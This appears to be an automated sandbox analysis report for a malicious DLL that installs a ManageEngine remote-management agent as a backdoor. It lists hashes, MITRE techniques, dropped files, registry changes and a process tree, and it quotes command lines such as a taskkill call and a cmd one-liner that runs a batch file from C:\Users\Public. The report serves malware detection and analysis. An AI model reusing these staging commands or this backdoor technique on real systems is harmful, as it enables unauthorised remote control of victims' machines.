57f03af5c4291ea24d1ce1054399d80b2baa878efcd7ca21713ce79f8aace77c

Analysis

max time kernel
133s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/09/2026, 19:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
57f03af5c4291ea24d1ce1054399d80b2baa878efcd7ca21713ce79f8aace77c.dll
Size 5.5MB
Sample260916-ycejsavdpg
SHA256 57f03af5c4291ea24d1ce1054399d80b2baa878efcd7ca21713ce79f8aace77c
MD5 c4957ec2e472fe7213f268317a112557
SHA1 18d6ea6f266755b49c42b24bf8e51eb2cd17e30a
SHA512 a71f62c274844209552130741087a7be7d9f22be10184459e1577bd331c665753bd4a834791494a6c464b42494f34ac0b98b71e572e6b23137a3103108b02702
SSDEEP 98304:8B0yOxRR9EH1MWloPpirNplbVctcmQ7SBP0hU54OiZrq1DfPHNADtV6v+a:8BaRzospirNPbVluP0hq4O7NADtV6v+a
TLSH
T10246DF123D9C106AF45A2DF0CE59A6FDF2AF6DA03B2500971980FA0DFA77E81061B55F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor defense_evasion discovery dropper execution rat

Malware Config

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	3736	rundll32.exe
4	3736	rundll32.exe
5	3736	rundll32.exe
6	3736	rundll32.exe
7	3736	rundll32.exe
8	3736	rundll32.exe
9	3736	rundll32.exe
10	3736	rundll32.exe
11	3736	rundll32.exe
14	3736	rundll32.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
5580	bitsadmin.exe

DCAgent remote management tool 4 IoCs

DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

backdoor rat

resource	yara_rule
behavioral2/files/0x000d00000001c57d-186.dat	hacktool_dcagent
behavioral2/files/0x000c00000001c5b2-410.dat	hacktool_dcagent
behavioral2/files/0x000c00000001c62b-654.dat	hacktool_dcagent
behavioral2/files/0x000c00000001c5a1-808.dat	hacktool_dcagent

Executes dropped EXE 4 IoCs

pid	Process
4888	NvTelemetryYGqLZCwGlJXT.pol
3084	NvTelemetryCgIFfSwnwLaxPrMZ.pol
4040	rundll32.exe
3300	dcagentregister.exe

Loads dropped DLL 5 IoCs

pid	Process
4068	MsiExec.exe
3300	dcagentregister.exe
3300	dcagentregister.exe
3300	dcagentregister.exe
3300	dcagentregister.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1948	icacls.exe
6124	icacls.exe
2956	icacls.exe
2760	icacls.exe
1232	icacls.exe

Enumerates connected drives 3 TTPs 45 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Q:	msiexec.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
1	icanhazip.com

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1096	tasklist.exe
4352	tasklist.exe
4624	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\rundll32.exe	rundll32.exe
File created	C:\Windows\SysWOW64\dclibxml2.dll	msiexec.exe
File created	C:\Windows\SysWOW64\dcagentlibxml2.dll	msiexec.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
6056	WScript.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\cold_normal.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7z.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\user.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_install.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcmsghandler.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dc_msp_image.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win7.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\sspicon.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\File_upload.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\rapmsghandler.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Updates_Active.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSJsonfromMSI\OSDetection.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh_Inactive.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\otp-lock.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\maximize_icon.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\EC_LogAnalyzer.ps1	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_install_all.svg	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_icon.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\uems_icon.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Archive_fail.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\style_cold.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\AgentApplicationResources.properties	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win8.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\DisableEnableEthernet.vbs	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\style_hot.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_rejected.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\dynamic-variables.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-winxp.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\PortableDetectionSettings.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\Tools.vbs	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-pm.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\partialApp.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dropdownarrow.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\WebrtcDLL.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_button.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Idea.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\restart.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Warning_icon.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\MessageBox.vbs	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\me-sign.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\ec_icon.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Updates.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\icon_alert.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\config_install_alert.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Remove.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\logo_light.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\reboot_alert.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\otp-lock-fail.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\wmi-classes.xml	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log	MsiExec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Announcement.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Reupload.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\MicrosoftEdge.admx	msiexec.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\e5b76a4.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7CDD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DF642C59F970863C4A.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF3EB401578DA52042.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI83B4.tmp	msiexec.exe
File created	C:\Windows\Installer\e5b76a3.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5b76a3.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5b76a4.mst	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1772	cmd.exe
2976	cmd.exe
5884	cmd.exe
6136	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Delays execution with timeout.exe 3 IoCs

defense_evasion

pid	Process
3320	timeout.exe
2408	timeout.exe
1100	timeout.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5852	taskkill.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dcagentregister.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings	MicrosoftEdge_X64_152.0.3157.719.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe
3736	rundll32.exe

Suspicious behavior: LoadsDriver 46 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeLoadDriverPrivilege	3736	rundll32.exe
Token: SeTakeOwnershipPrivilege	3736	rundll32.exe
Token: SeIncBasePriorityPrivilege	3736	rundll32.exe
Token: SeTcbPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	5852	taskkill.exe
Token: SeDebugPrivilege	1096	tasklist.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeCreateTokenPrivilege	3736	rundll32.exe
Token: SeAssignPrimaryTokenPrivilege	3736	rundll32.exe
Token: SeLockMemoryPrivilege	3736	rundll32.exe
Token: SeIncreaseQuotaPrivilege	3736	rundll32.exe
Token: SeMachineAccountPrivilege	3736	rundll32.exe
Token: SeTcbPrivilege	3736	rundll32.exe
Token: SeSecurityPrivilege	3736	rundll32.exe
Token: SeTakeOwnershipPrivilege	3736	rundll32.exe
Token: SeLoadDriverPrivilege	3736	rundll32.exe
Token: SeSystemProfilePrivilege	3736	rundll32.exe
Token: SeSystemtimePrivilege	3736	rundll32.exe
Token: SeProfSingleProcessPrivilege	3736	rundll32.exe
Token: SeIncBasePriorityPrivilege	3736	rundll32.exe
Token: SeCreatePagefilePrivilege	3736	rundll32.exe
Token: SeCreatePermanentPrivilege	3736	rundll32.exe
Token: SeBackupPrivilege	3736	rundll32.exe
Token: SeRestorePrivilege	3736	rundll32.exe
Token: SeShutdownPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeAuditPrivilege	3736	rundll32.exe
Token: SeSystemEnvironmentPrivilege	3736	rundll32.exe
Token: SeChangeNotifyPrivilege	3736	rundll32.exe
Token: SeRemoteShutdownPrivilege	3736	rundll32.exe
Token: SeUndockPrivilege	3736	rundll32.exe
Token: SeSyncAgentPrivilege	3736	rundll32.exe
Token: SeEnableDelegationPrivilege	3736	rundll32.exe
Token: SeManageVolumePrivilege	3736	rundll32.exe
Token: SeImpersonatePrivilege	3736	rundll32.exe
Token: SeCreateGlobalPrivilege	3736	rundll32.exe
Token: 31	3736	rundll32.exe
Token: 32	3736	rundll32.exe
Token: 33	3736	rundll32.exe
Token: 34	3736	rundll32.exe
Token: 35	3736	rundll32.exe
Token: SeDebugPrivilege	4352	tasklist.exe
Token: SeShutdownPrivilege	5684	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5684	msiexec.exe
Token: SeSecurityPrivilege	4232	msiexec.exe
Token: SeCreateTokenPrivilege	5684	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5684	msiexec.exe
Token: SeLockMemoryPrivilege	5684	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5684	msiexec.exe
Token: SeMachineAccountPrivilege	5684	msiexec.exe
Token: SeTcbPrivilege	5684	msiexec.exe
Token: SeSecurityPrivilege	5684	msiexec.exe
Token: SeTakeOwnershipPrivilege	5684	msiexec.exe
Token: SeLoadDriverPrivilege	5684	msiexec.exe
Token: SeSystemProfilePrivilege	5684	msiexec.exe
Token: SeSystemtimePrivilege	5684	msiexec.exe
Token: SeProfSingleProcessPrivilege	5684	msiexec.exe
Token: SeIncBasePriorityPrivilege	5684	msiexec.exe
Token: SeCreatePagefilePrivilege	5684	msiexec.exe
Token: SeCreatePermanentPrivilege	5684	msiexec.exe
Token: SeBackupPrivilege	5684	msiexec.exe
Token: SeRestorePrivilege	5684	msiexec.exe
Token: SeShutdownPrivilege	5684	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3736	rundll32.exe
5684	msiexec.exe
4232	msiexec.exe
4068	MsiExec.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 3736	2856	rundll32.exe	87
PID 3736 wrote to memory of 5852	3736	rundll32.exe	88
PID 3736 wrote to memory of 1772	3736	rundll32.exe	91
PID 1772 wrote to memory of 2976	1772	cmd.exe	93
PID 2976 wrote to memory of 1096	2976	cmd.exe	94
PID 2976 wrote to memory of 4916	2976	cmd.exe	95
PID 2976 wrote to memory of 3320	2976	cmd.exe	96
PID 2976 wrote to memory of 4352	2976	cmd.exe	104
PID 2976 wrote to memory of 4832	2976	cmd.exe	105
PID 2976 wrote to memory of 2408	2976	cmd.exe	106
PID 3736 wrote to memory of 3760	3736	rundll32.exe	107
PID 3736 wrote to memory of 5580	3736	rundll32.exe	109
PID 3736 wrote to memory of 2556	3736	rundll32.exe	113
PID 2556 wrote to memory of 6056	2556	MicrosoftEdge_X64_152.0.3157.719.exe	114
PID 6056 wrote to memory of 5684	6056	WScript.exe	115
PID 2976 wrote to memory of 4624	2976	cmd.exe	118
PID 4232 wrote to memory of 4068	4232	msiexec.exe	117
PID 2976 wrote to memory of 1612	2976	cmd.exe	119
PID 2976 wrote to memory of 1100	2976	cmd.exe	120
PID 4232 wrote to memory of 3300	4232	msiexec.exe	121

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\57f03af5c4291ea24d1ce1054399d80b2baa878efcd7ca21713ce79f8aace77c.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\57f03af5c4291ea24d1ce1054399d80b2baa878efcd7ca21713ce79f8aace77c.dll,#1
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5852
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start "" /B cmd /C "C:\Users\Public\\S-1-5-21-1404337215-1550464601-2805570857\S-1-5-21-1404337215-1550464601-2805570857.BaT"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1772
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /C "C:\Users\Public\\S-1-5-21-1404337215-1550464601-2805570857\S-1-5-21-1404337215-1550464601-2805570857.BaT"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2976
